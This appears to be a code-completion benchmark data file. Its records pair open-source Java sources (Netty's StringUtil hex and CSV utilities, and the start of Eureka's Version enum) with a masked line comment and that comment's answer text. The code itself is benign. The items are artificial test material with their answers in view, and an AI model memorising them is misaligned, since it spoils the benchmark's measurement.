public static int decodeHexNibble(final byte b) {
// Character.digit() is not used here, as it addresses a larger
// set of characters (both ASCII and full-width latin letters).
return HEX2B[b];
}
/**
* Decode a 2-digit hex byte from within a string.
*/
public static byte decodeHexByte(CharSequence s, int pos) {
int hi = decodeHexNibble(s.charAt(pos));
int lo = decodeHexNibble(s.charAt(pos + 1));
if (hi == -1 || lo == -1) {
throw new IllegalArgumentException(String.format(
"invalid hex byte '%s' at index %d of '%s'", s.subSequence(pos, pos + 2), pos, s));
}
return (byte) ((hi << 4) + lo);
}
/**
* Decodes part of a string with <a href="https://en.wikipedia.org/wiki/Hex_dump">hex dump</a>
*
* @param hexDump a {@link CharSequence} which contains the hex dump
* @param fromIndex start of hex dump in {@code hexDump}
* @param length hex string length
*/
public static byte[] decodeHexDump(CharSequence hexDump, int fromIndex, int length) {
if (length < 0 || (length & 1) != 0) {
throw new IllegalArgumentException("length: " + length);
}
if (length == 0) {
return EmptyArrays.EMPTY_BYTES;
}
byte[] bytes = new byte[length >>> 1];
for (int i = 0; i < length; i += 2) {
bytes[i >>> 1] = decodeHexByte(hexDump, fromIndex + i);
}
return bytes;
}
/**
* Decodes a <a href="https://en.wikipedia.org/wiki/Hex_dump">hex dump</a>
*/
public static byte[] decodeHexDump(CharSequence hexDump) {
return decodeHexDump(hexDump, 0, hexDump.length());
}
/**
* The shortcut to {@link #simpleClassName(Class) simpleClassName(o.getClass())}.
*/
public static String simpleClassName(Object o) {
if (o == null) {
return "null_object";
} else {
return simpleClassName(o.getClass());
}
}
/**
* Generates a simplified name from a {@link Class}. Similar to {@link Class#getSimpleName()}, but it works fine
* with anonymous classes.
*/
public static String simpleClassName(Class<?> clazz) {
String className = checkNotNull(clazz, "clazz").getName();
final int lastDotIdx = className.lastIndexOf(PACKAGE_SEPARATOR_CHAR);
if (lastDotIdx > -1) {
return className.substring(lastDotIdx + 1);
}
return className;
}
/**
* Escapes the specified value, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The value which will be escaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link CharSequence} the escaped value if necessary, or the value unchanged
*/
public static CharSequence escapeCsv(CharSequence value) {
return escapeCsv(value, false);
}
/**
* Escapes the specified value, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The value which will be escaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @param trimWhiteSpace The value will first be trimmed of its optional white-space characters,
* according to <a href="https://tools.ietf.org/html/rfc7230#section-7">RFC-7230</a>
* @return {@link CharSequence} the escaped value if necessary, or the value unchanged
*/
public static CharSequence escapeCsv(CharSequence value, boolean trimWhiteSpace) {
int length = checkNotNull(value, "value").length();
int start;
int last;
if (trimWhiteSpace) {
start = indexOfFirstNonOwsChar(value, length);
last = indexOfLastNonOwsChar(value, start, length);
} else {
start = 0;
last = length - 1;
}
if (start > last) {
return EMPTY_STRING;
}
int firstUnescapedSpecial = -1;
boolean quoted = false;
if (isDoubleQuote(value.charAt(start))) {
quoted = isDoubleQuote(value.charAt(last)) && last > start;
if (quoted) {
start++;
last--;
} else {
firstUnescapedSpecial = start;
}
}
if (firstUnescapedSpecial < 0) {
if (quoted) {
for (int i = start; i <= last; i++) {
if (isDoubleQuote(value.charAt(i))) {
if (i == last || !isDoubleQuote(value.charAt(i + 1))) {
firstUnescapedSpecial = i;
break;
}
i++;
}
}
} else {
for (int i = start; i <= last; i++) {
char c = value.charAt(i);
if (c == LINE_FEED || c == CARRIAGE_RETURN || c == COMMA) {
firstUnescapedSpecial = i;
break;
}
if (isDoubleQuote(c)) {
if (i == last || !isDoubleQuote(value.charAt(i + 1))) {
firstUnescapedSpecial = i;
break;
}
i++;
}
}
}
if (firstUnescapedSpecial < 0) {
// Special characters is not found or all of them already escaped.
// In the most cases returns a same string. New string will be instantiated (via StringBuilder)
// only if it really needed. It's important to prevent GC extra load.
return quoted? value.subSequence(start - 1, last + 2) : value.subSequence(start, last + 1);
}
}
StringBuilder result = new StringBuilder(last - start + 1 + CSV_NUMBER_ESCAPE_CHARACTERS);
result.append(DOUBLE_QUOTE).append(value, start, firstUnescapedSpecial);
for (int i = firstUnescapedSpecial; i <= last; i++) {
char c = value.charAt(i);
if (isDoubleQuote(c)) {
result.append(DOUBLE_QUOTE);
if (i < last && isDoubleQuote(value.charAt(i + 1))) {
i++;
}
}
result.append(c);
}
return result.append(DOUBLE_QUOTE);
}
/**
* Unescapes the specified escaped CSV field, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The escaped CSV field which will be unescaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link CharSequence} the unescaped value if necessary, or the value unchanged
*/
public static CharSequence unescapeCsv(CharSequence value) {
int length = checkNotNull(value, "value").length();
if (length == 0) {
return value;
}
int last = length - 1;
boolean quoted = isDoubleQuote(value.charAt(0)) && isDoubleQuote(value.charAt(last)) && length != 1;
if (!quoted) {
validateCsvFormat(value);
return value;
}
StringBuilder unescaped = InternalThreadLocalMap.get().stringBuilder();
for (int i = 1; i < last; i++) {
char current = value.charAt(i);
if (current == DOUBLE_QUOTE) {
if (isDoubleQuote(value.charAt(i + 1)) && (i + 1) != last) {
// Followed by a double-quote but not the last character
// Just skip the next double-quote
i++;
} else {
// Not followed by a double-quote or the following double-quote is the last character
throw newInvalidEscapedCsvFieldException(value, i);
}
}
unescaped.append(current);
}
return unescaped.toString();
}
/**
* Unescapes the specified escaped CSV fields according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value A string with multiple CSV escaped fields which will be unescaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link List} the list of unescaped fields
*/
public static List<CharSequence> unescapeCsvFields(CharSequence value) {
List<CharSequence> unescaped = new ArrayList<CharSequence>(2);
StringBuilder current = InternalThreadLocalMap.get().stringBuilder();
boolean quoted = false;
int last = value.length() - 1;
for (int i = 0; i <= last; i++) {
char c = value.charAt(i);
if (quoted) {
switch (c) {
case DOUBLE_QUOTE:
if (i == last) {
// Add the last field and return
unescaped.add(current.toString());
return unescaped;
}
char next = value.charAt(++i);
if (next == DOUBLE_QUOTE) {
// 2 double-quotes should be unescaped to one
current.append(DOUBLE_QUOTE);
break;
}
if (next == COMMA) {
// This is the end of a field. Let's start to parse the next field.
quoted = false;
unescaped.add(current.toString());
current.setLength(0);
break;
}
// double-quote followed by other character is invalid
throw newInvalidEscapedCsvFieldException(value, i - 1);
default:
current.append(c);
}
} else {
switch (c) {
case COMMA:
// Start to parse the next field
unescaped.add(current.toString());
current.setLength(0);
break;
case DOUBLE_QUOTE:
if (current.length() == 0) {
quoted = true;
break;
}
// double-quote appears without being enclosed with double-quotes
// fall through
case LINE_FEED:
// fall through
case CARRIAGE_RETURN:
// special characters appears without being enclosed with double-quotes
throw newInvalidEscapedCsvFieldException(value, i);
default:
current.append(c);
}
}
}
if (quoted) {
throw newInvalidEscapedCsvFieldException(value, last);
}
unescaped.add(current.toString());
return unescaped;
}
/**
* Validate if {@code value} is a valid csv field without double-quotes.
*
* @throws IllegalArgumentException if {@code value} needs to be encoded with double-quotes.
*/
private static void validateCsvFormat(CharSequence value) {
int length = value.length();
for (int i = 0; i < length; i++) {
switch (value.charAt(i)) {
case DOUBLE_QUOTE:
case LINE_FEED:
case CARRIAGE_RETURN:
case COMMA:
// If value contains any special character, it should be enclosed with double-quotes
throw newInvalidEscapedCsvFieldException(value, i);
default:
}
}
}
private static IllegalArgumentException newInvalidEscapedCsvFieldException(CharSequence value, int index) {
return new IllegalArgumentException("invalid escaped CSV field: " + value + " index: " + index);
}
/**
* Get the length of a string, {@code null} input is considered {@code 0} length.
*/
public static int length(String s) {
return s == null ? 0 : s.length();
}
/**
* Determine if a string is {@code null} or {@link String#isEmpty()} returns {@code true}.
*/
public static boolean isNullOrEmpty(String s) {
return s == null || s.isEmpty();
}
/**
* Find the index of the first non-white space character in {@code s} starting at {@code offset}.
*
* @param seq The string to search.
* @param offset The offset to start searching at.
* @return the index of the first non-white space character or <{@code -1} if none was found.
*/
public static int indexOfNonWhiteSpace(CharSequence seq, int offset) {
for (; offset < seq.length(); ++offset) {
if (!Character.isWhitespace(seq.charAt(offset))) {
return offset;
}
}
return -1;
}
/**
* Find the index of the first white space character in {@code s} starting at {@code offset}.
*
* @param seq The string to search.
* @param offset The offset to start searching at.
* @return the index of the first white space character or <{@code -1} if none was found.
*/
public static int indexOfWhiteSpace(CharSequence seq, int offset) {
for (; offset < seq.length(); ++offset) {
if (Character.isWhitespace(seq.charAt(offset))) {
return offset;
}
}
return -1;
}
/**
* Determine if {@code c} lies within the range of values defined for
* <a href="https://unicode.org/glossary/#surrogate_code_point">Surrogate Code Point</a>.
*
* @param c the character to check.
* @return {@code true} if {@code c} lies within the range of values defined for
* <a href="https://unicode.org/glossary/#surrogate_code_point">Surrogate Code Point</a>. {@code false} otherwise.
*/
public static boolean isSurrogate(char c) {
return c >= '\uD800' && c <= '\uDFFF';
}
private static boolean isDoubleQuote(char c) {
return c == DOUBLE_QUOTE;
}
/**
* Determine if the string {@code s} ends with the char {@code c}.
*
* @param s the string to test
* @param c the tested char
* @return true if {@code s} ends with the char {@code c}
*/
public static boolean endsWith(CharSequence s, char c) {
int len = s.length();
return len > 0 && s.charAt(len - 1) == c;
}
/**
* Trim optional white-space characters from the specified value,
* according to <a href="https://tools.ietf.org/html/rfc7230#section-7">RFC-7230</a>.
*
* @param value the value to trim
* @return {@link CharSequence} the trimmed value if necessary, or the value unchanged
*/
public static CharSequence trimOws(CharSequence value) {
final int length = value.length();
if (length == 0) {
return value;
}
int start = indexOfFirstNonOwsChar(value, length);
int end = indexOfLastNonOwsChar(value, start, length);
return start == 0 && end == length - 1 ? value : value.subSequence(start, end + 1);
}
/**
* Returns a char sequence that contains all {@code elements} joined by a given separator.
*
* @param separator for each element
* @param elements to join together
*
* @return a char sequence joined by a given separator.
*/
public static CharSequence join(CharSequence separator, Iterable<? extends CharSequence> elements) {
ObjectUtil.checkNotNull(separator, "separator");
ObjectUtil.checkNotNull(elements, "elements");
Iterator<? extends CharSequence> iterator = elements.iterator();
if (!iterator.hasNext()) {
return EMPTY_STRING;
}
CharSequence firstElement = iterator.next();
if (!iterator.hasNext()) {
return firstElement;
}
StringBuilder builder = new StringBuilder(firstElement);
do {
builder.append(separator).append(iterator.next());
} while (iterator.hasNext());
return builder;
}
/**
* @return {@code length} if no OWS is found.
*/
private static int indexOfFirstNonOwsChar(CharSequence value, int length) {
int i = 0;
while (i < length && isOws(value.charAt(i))) {
i++;
}
return i;
}
/**
* @return {@code start} if no OWS is found.
*/
private static int indexOfLastNonOwsChar(CharSequence value, int start, int length) {
int i = length - 1;
while (i > start && isOws(value.charAt(i))) {
i--;
}
return i;
}
private static boolean isOws(char c) {
return c == SPACE || c == TAB;
}
}
| netty/netty | common/src/main/java/io/netty/util/internal/StringUtil.java | 7,616 | // Skip preceding zeroes. | line_comment | nl | /*
* Copyright 2012 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package io.netty.util.internal;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import static io.netty.util.internal.ObjectUtil.*;
/**
* String utility class.
*/
public final class StringUtil {
public static final String EMPTY_STRING = "";
public static final String NEWLINE = SystemPropertyUtil.get("line.separator", "\n");
public static final char DOUBLE_QUOTE = '\"';
public static final char COMMA = ',';
public static final char LINE_FEED = '\n';
public static final char CARRIAGE_RETURN = '\r';
public static final char TAB = '\t';
public static final char SPACE = 0x20;
private static final String[] BYTE2HEX_PAD = new String[256];
private static final String[] BYTE2HEX_NOPAD = new String[256];
private static final byte[] HEX2B;
/**
* 2 - Quote character at beginning and end.
* 5 - Extra allowance for anticipated escape characters that may be added.
*/
private static final int CSV_NUMBER_ESCAPE_CHARACTERS = 2 + 5;
private static final char PACKAGE_SEPARATOR_CHAR = '.';
static {
// Generate the lookup table that converts a byte into a 2-digit hexadecimal integer.
for (int i = 0; i < BYTE2HEX_PAD.length; i++) {
String str = Integer.toHexString(i);
BYTE2HEX_PAD[i] = i > 0xf ? str : ('0' + str);
BYTE2HEX_NOPAD[i] = str;
}
// Generate the lookup table that converts an hex char into its decimal value:
// the size of the table is such that the JVM is capable of save any bounds-check
// if a char type is used as an index.
HEX2B = new byte[Character.MAX_VALUE + 1];
Arrays.fill(HEX2B, (byte) -1);
HEX2B['0'] = 0;
HEX2B['1'] = 1;
HEX2B['2'] = 2;
HEX2B['3'] = 3;
HEX2B['4'] = 4;
HEX2B['5'] = 5;
HEX2B['6'] = 6;
HEX2B['7'] = 7;
HEX2B['8'] = 8;
HEX2B['9'] = 9;
HEX2B['A'] = 10;
HEX2B['B'] = 11;
HEX2B['C'] = 12;
HEX2B['D'] = 13;
HEX2B['E'] = 14;
HEX2B['F'] = 15;
HEX2B['a'] = 10;
HEX2B['b'] = 11;
HEX2B['c'] = 12;
HEX2B['d'] = 13;
HEX2B['e'] = 14;
HEX2B['f'] = 15;
}
private StringUtil() {
// Unused.
}
/**
* Get the item after one char delim if the delim is found (else null).
* This operation is a simplified and optimized
* version of {@link String#split(String, int)}.
*/
public static String substringAfter(String value, char delim) {
int pos = value.indexOf(delim);
if (pos >= 0) {
return value.substring(pos + 1);
}
return null;
}
/**
* Get the item before one char delim if the delim is found (else null).
* This operation is a simplified and optimized
* version of {@link String#split(String, int)}.
*/
public static String substringBefore(String value, char delim) {
int pos = value.indexOf(delim);
if (pos >= 0) {
return value.substring(0, pos);
}
return null;
}
/**
* Checks if two strings have the same suffix of specified length
*
* @param s string
* @param p string
* @param len length of the common suffix
* @return true if both s and p are not null and both have the same suffix. Otherwise - false
*/
public static boolean commonSuffixOfLength(String s, String p, int len) {
return s != null && p != null && len >= 0 && s.regionMatches(s.length() - len, p, p.length() - len, len);
}
/**
* Converts the specified byte value into a 2-digit hexadecimal integer.
*/
public static String byteToHexStringPadded(int value) {
return BYTE2HEX_PAD[value & 0xff];
}
/**
* Converts the specified byte value into a 2-digit hexadecimal integer and appends it to the specified buffer.
*/
public static <T extends Appendable> T byteToHexStringPadded(T buf, int value) {
try {
buf.append(byteToHexStringPadded(value));
} catch (IOException e) {
PlatformDependent.throwException(e);
}
return buf;
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexStringPadded(byte[] src) {
return toHexStringPadded(src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexStringPadded(byte[] src, int offset, int length) {
return toHexStringPadded(new StringBuilder(length << 1), src, offset, length).toString();
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src) {
return toHexStringPadded(dst, src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src, int offset, int length) {
final int end = offset + length;
for (int i = offset; i < end; i++) {
byteToHexStringPadded(dst, src[i]);
}
return dst;
}
/**
* Converts the specified byte value into a hexadecimal integer.
*/
public static String byteToHexString(int value) {
return BYTE2HEX_NOPAD[value & 0xff];
}
/**
* Converts the specified byte value into a hexadecimal integer and appends it to the specified buffer.
*/
public static <T extends Appendable> T byteToHexString(T buf, int value) {
try {
buf.append(byteToHexString(value));
} catch (IOException e) {
PlatformDependent.throwException(e);
}
return buf;
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexString(byte[] src) {
return toHexString(src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexString(byte[] src, int offset, int length) {
return toHexString(new StringBuilder(length << 1), src, offset, length).toString();
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexString(T dst, byte[] src) {
return toHexString(dst, src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexString(T dst, byte[] src, int offset, int length) {
assert length >= 0;
if (length == 0) {
return dst;
}
final int end = offset + length;
final int endMinusOne = end - 1;
int i;
// Skip preceding<SUF>
for (i = offset; i < endMinusOne; i++) {
if (src[i] != 0) {
break;
}
}
byteToHexString(dst, src[i++]);
int remaining = end - i;
toHexStringPadded(dst, src, i, remaining);
return dst;
}
/**
* Helper to decode half of a hexadecimal number from a string.
* @param c The ASCII character of the hexadecimal number to decode.
* Must be in the range {@code [0-9a-fA-F]}.
* @return The hexadecimal value represented in the ASCII character
* given, or {@code -1} if the character is invalid.
*/
public static int decodeHexNibble(final char c) {
// Character.digit() is not used here, as it addresses a larger
// set of characters (both ASCII and full-width latin letters).
return HEX2B[c];
}
/**
* Helper to decode half of a hexadecimal number from a string.
* @param b The ASCII character of the hexadecimal number to decode.
* Must be in the range {@code [0-9a-fA-F]}.
* @return The hexadecimal value represented in the ASCII character
* given, or {@code -1} if the character is invalid.
*/
public static int decodeHexNibble(final byte b) {
// Character.digit() is not used here, as it addresses a larger
// set of characters (both ASCII and full-width latin letters).
return HEX2B[b];
}
/**
* Decode a 2-digit hex byte from within a string.
*/
public static byte decodeHexByte(CharSequence s, int pos) {
int hi = decodeHexNibble(s.charAt(pos));
int lo = decodeHexNibble(s.charAt(pos + 1));
if (hi == -1 || lo == -1) {
throw new IllegalArgumentException(String.format(
"invalid hex byte '%s' at index %d of '%s'", s.subSequence(pos, pos + 2), pos, s));
}
return (byte) ((hi << 4) + lo);
}
/**
* Decodes part of a string with <a href="https://en.wikipedia.org/wiki/Hex_dump">hex dump</a>
*
* @param hexDump a {@link CharSequence} which contains the hex dump
* @param fromIndex start of hex dump in {@code hexDump}
* @param length hex string length
*/
public static byte[] decodeHexDump(CharSequence hexDump, int fromIndex, int length) {
if (length < 0 || (length & 1) != 0) {
throw new IllegalArgumentException("length: " + length);
}
if (length == 0) {
return EmptyArrays.EMPTY_BYTES;
}
byte[] bytes = new byte[length >>> 1];
for (int i = 0; i < length; i += 2) {
bytes[i >>> 1] = decodeHexByte(hexDump, fromIndex + i);
}
return bytes;
}
/**
* Decodes a <a href="https://en.wikipedia.org/wiki/Hex_dump">hex dump</a>
*/
public static byte[] decodeHexDump(CharSequence hexDump) {
return decodeHexDump(hexDump, 0, hexDump.length());
}
/**
* The shortcut to {@link #simpleClassName(Class) simpleClassName(o.getClass())}.
*/
public static String simpleClassName(Object o) {
if (o == null) {
return "null_object";
} else {
return simpleClassName(o.getClass());
}
}
/**
* Generates a simplified name from a {@link Class}. Similar to {@link Class#getSimpleName()}, but it works fine
* with anonymous classes.
*/
public static String simpleClassName(Class<?> clazz) {
String className = checkNotNull(clazz, "clazz").getName();
final int lastDotIdx = className.lastIndexOf(PACKAGE_SEPARATOR_CHAR);
if (lastDotIdx > -1) {
return className.substring(lastDotIdx + 1);
}
return className;
}
/**
* Escapes the specified value, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The value which will be escaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link CharSequence} the escaped value if necessary, or the value unchanged
*/
public static CharSequence escapeCsv(CharSequence value) {
return escapeCsv(value, false);
}
/**
* Escapes the specified value, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The value which will be escaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @param trimWhiteSpace The value will first be trimmed of its optional white-space characters,
* according to <a href="https://tools.ietf.org/html/rfc7230#section-7">RFC-7230</a>
* @return {@link CharSequence} the escaped value if necessary, or the value unchanged
*/
public static CharSequence escapeCsv(CharSequence value, boolean trimWhiteSpace) {
int length = checkNotNull(value, "value").length();
int start;
int last;
if (trimWhiteSpace) {
start = indexOfFirstNonOwsChar(value, length);
last = indexOfLastNonOwsChar(value, start, length);
} else {
start = 0;
last = length - 1;
}
if (start > last) {
return EMPTY_STRING;
}
int firstUnescapedSpecial = -1;
boolean quoted = false;
if (isDoubleQuote(value.charAt(start))) {
quoted = isDoubleQuote(value.charAt(last)) && last > start;
if (quoted) {
start++;
last--;
} else {
firstUnescapedSpecial = start;
}
}
if (firstUnescapedSpecial < 0) {
if (quoted) {
for (int i = start; i <= last; i++) {
if (isDoubleQuote(value.charAt(i))) {
if (i == last || !isDoubleQuote(value.charAt(i + 1))) {
firstUnescapedSpecial = i;
break;
}
i++;
}
}
} else {
for (int i = start; i <= last; i++) {
char c = value.charAt(i);
if (c == LINE_FEED || c == CARRIAGE_RETURN || c == COMMA) {
firstUnescapedSpecial = i;
break;
}
if (isDoubleQuote(c)) {
if (i == last || !isDoubleQuote(value.charAt(i + 1))) {
firstUnescapedSpecial = i;
break;
}
i++;
}
}
}
if (firstUnescapedSpecial < 0) {
// Special characters is not found or all of them already escaped.
// In the most cases returns a same string. New string will be instantiated (via StringBuilder)
// only if it really needed. It's important to prevent GC extra load.
return quoted? value.subSequence(start - 1, last + 2) : value.subSequence(start, last + 1);
}
}
StringBuilder result = new StringBuilder(last - start + 1 + CSV_NUMBER_ESCAPE_CHARACTERS);
result.append(DOUBLE_QUOTE).append(value, start, firstUnescapedSpecial);
for (int i = firstUnescapedSpecial; i <= last; i++) {
char c = value.charAt(i);
if (isDoubleQuote(c)) {
result.append(DOUBLE_QUOTE);
if (i < last && isDoubleQuote(value.charAt(i + 1))) {
i++;
}
}
result.append(c);
}
return result.append(DOUBLE_QUOTE);
}
/**
* Unescapes the specified escaped CSV field, if necessary according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value The escaped CSV field which will be unescaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link CharSequence} the unescaped value if necessary, or the value unchanged
*/
public static CharSequence unescapeCsv(CharSequence value) {
int length = checkNotNull(value, "value").length();
if (length == 0) {
return value;
}
int last = length - 1;
boolean quoted = isDoubleQuote(value.charAt(0)) && isDoubleQuote(value.charAt(last)) && length != 1;
if (!quoted) {
validateCsvFormat(value);
return value;
}
StringBuilder unescaped = InternalThreadLocalMap.get().stringBuilder();
for (int i = 1; i < last; i++) {
char current = value.charAt(i);
if (current == DOUBLE_QUOTE) {
if (isDoubleQuote(value.charAt(i + 1)) && (i + 1) != last) {
// Followed by a double-quote but not the last character
// Just skip the next double-quote
i++;
} else {
// Not followed by a double-quote or the following double-quote is the last character
throw newInvalidEscapedCsvFieldException(value, i);
}
}
unescaped.append(current);
}
return unescaped.toString();
}
/**
* Unescapes the specified escaped CSV fields according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>.
*
* @param value A string with multiple CSV escaped fields which will be unescaped according to
* <a href="https://tools.ietf.org/html/rfc4180#section-2">RFC-4180</a>
* @return {@link List} the list of unescaped fields
*/
public static List<CharSequence> unescapeCsvFields(CharSequence value) {
List<CharSequence> unescaped = new ArrayList<CharSequence>(2);
StringBuilder current = InternalThreadLocalMap.get().stringBuilder();
boolean quoted = false;
int last = value.length() - 1;
for (int i = 0; i <= last; i++) {
char c = value.charAt(i);
if (quoted) {
switch (c) {
case DOUBLE_QUOTE:
if (i == last) {
// Add the last field and return
unescaped.add(current.toString());
return unescaped;
}
char next = value.charAt(++i);
if (next == DOUBLE_QUOTE) {
// 2 double-quotes should be unescaped to one
current.append(DOUBLE_QUOTE);
break;
}
if (next == COMMA) {
// This is the end of a field. Let's start to parse the next field.
quoted = false;
unescaped.add(current.toString());
current.setLength(0);
break;
}
// double-quote followed by other character is invalid
throw newInvalidEscapedCsvFieldException(value, i - 1);
default:
current.append(c);
}
} else {
switch (c) {
case COMMA:
// Start to parse the next field
unescaped.add(current.toString());
current.setLength(0);
break;
case DOUBLE_QUOTE:
if (current.length() == 0) {
quoted = true;
break;
}
// double-quote appears without being enclosed with double-quotes
// fall through
case LINE_FEED:
// fall through
case CARRIAGE_RETURN:
// special characters appears without being enclosed with double-quotes
throw newInvalidEscapedCsvFieldException(value, i);
default:
current.append(c);
}
}
}
if (quoted) {
throw newInvalidEscapedCsvFieldException(value, last);
}
unescaped.add(current.toString());
return unescaped;
}
/**
* Validate if {@code value} is a valid csv field without double-quotes.
*
* @throws IllegalArgumentException if {@code value} needs to be encoded with double-quotes.
*/
private static void validateCsvFormat(CharSequence value) {
int length = value.length();
for (int i = 0; i < length; i++) {
switch (value.charAt(i)) {
case DOUBLE_QUOTE:
case LINE_FEED:
case CARRIAGE_RETURN:
case COMMA:
// If value contains any special character, it should be enclosed with double-quotes
throw newInvalidEscapedCsvFieldException(value, i);
default:
}
}
}
private static IllegalArgumentException newInvalidEscapedCsvFieldException(CharSequence value, int index) {
return new IllegalArgumentException("invalid escaped CSV field: " + value + " index: " + index);
}
/**
* Get the length of a string, {@code null} input is considered {@code 0} length.
*/
public static int length(String s) {
return s == null ? 0 : s.length();
}
/**
* Determine if a string is {@code null} or {@link String#isEmpty()} returns {@code true}.
*/
public static boolean isNullOrEmpty(String s) {
return s == null || s.isEmpty();
}
/**
* Find the index of the first non-white space character in {@code s} starting at {@code offset}.
*
* @param seq The string to search.
* @param offset The offset to start searching at.
* @return the index of the first non-white space character or <{@code -1} if none was found.
*/
public static int indexOfNonWhiteSpace(CharSequence seq, int offset) {
for (; offset < seq.length(); ++offset) {
if (!Character.isWhitespace(seq.charAt(offset))) {
return offset;
}
}
return -1;
}
/**
* Find the index of the first white space character in {@code s} starting at {@code offset}.
*
* @param seq The string to search.
* @param offset The offset to start searching at.
* @return the index of the first white space character or <{@code -1} if none was found.
*/
public static int indexOfWhiteSpace(CharSequence seq, int offset) {
for (; offset < seq.length(); ++offset) {
if (Character.isWhitespace(seq.charAt(offset))) {
return offset;
}
}
return -1;
}
/**
* Determine if {@code c} lies within the range of values defined for
* <a href="https://unicode.org/glossary/#surrogate_code_point">Surrogate Code Point</a>.
*
* @param c the character to check.
* @return {@code true} if {@code c} lies within the range of values defined for
* <a href="https://unicode.org/glossary/#surrogate_code_point">Surrogate Code Point</a>. {@code false} otherwise.
*/
public static boolean isSurrogate(char c) {
return c >= '\uD800' && c <= '\uDFFF';
}
private static boolean isDoubleQuote(char c) {
return c == DOUBLE_QUOTE;
}
/**
* Determine if the string {@code s} ends with the char {@code c}.
*
* @param s the string to test
* @param c the tested char
* @return true if {@code s} ends with the char {@code c}
*/
public static boolean endsWith(CharSequence s, char c) {
int len = s.length();
return len > 0 && s.charAt(len - 1) == c;
}
/**
* Trim optional white-space characters from the specified value,
* according to <a href="https://tools.ietf.org/html/rfc7230#section-7">RFC-7230</a>.
*
* @param value the value to trim
* @return {@link CharSequence} the trimmed value if necessary, or the value unchanged
*/
public static CharSequence trimOws(CharSequence value) {
final int length = value.length();
if (length == 0) {
return value;
}
int start = indexOfFirstNonOwsChar(value, length);
int end = indexOfLastNonOwsChar(value, start, length);
return start == 0 && end == length - 1 ? value : value.subSequence(start, end + 1);
}
/**
* Returns a char sequence that contains all {@code elements} joined by a given separator.
*
* @param separator for each element
* @param elements to join together
*
* @return a char sequence joined by a given separator.
*/
public static CharSequence join(CharSequence separator, Iterable<? extends CharSequence> elements) {
ObjectUtil.checkNotNull(separator, "separator");
ObjectUtil.checkNotNull(elements, "elements");
Iterator<? extends CharSequence> iterator = elements.iterator();
if (!iterator.hasNext()) {
return EMPTY_STRING;
}
CharSequence firstElement = iterator.next();
if (!iterator.hasNext()) {
return firstElement;
}
StringBuilder builder = new StringBuilder(firstElement);
do {
builder.append(separator).append(iterator.next());
} while (iterator.hasNext());
return builder;
}
/**
* @return {@code length} if no OWS is found.
*/
private static int indexOfFirstNonOwsChar(CharSequence value, int length) {
int i = 0;
while (i < length && isOws(value.charAt(i))) {
i++;
}
return i;
}
/**
* @return {@code start} if no OWS is found.
*/
private static int indexOfLastNonOwsChar(CharSequence value, int start, int length) {
int i = length - 1;
while (i > start && isOws(value.charAt(i))) {
i--;
}
return i;
}
private static boolean isOws(char c) {
return c == SPACE || c == TAB;
}
}
|
191078_2 | /*
* Copyright 2012 Netflix, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.netflix.eureka;
/**
* Supported versions for Eureka.
*
* <p>The latest versions are always recommended.</p>
*
* @author Karthik Ranganathan, Greg Kim
*
*/
public enum Version {
V1, V2;
public static Version toEnum(String v) {
for (Version version : Version.values()) {
if (version.name().equalsIgnoreCase(v)) {
return version;
}
}
//Defaults to v2
return V2;
}
}
| netvisao/eureka | eureka-core/src/main/java/com/netflix/eureka/Version.java | 303 | //Defaults to v2 | line_comment | nl | /*
* Copyright 2012 Netflix, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
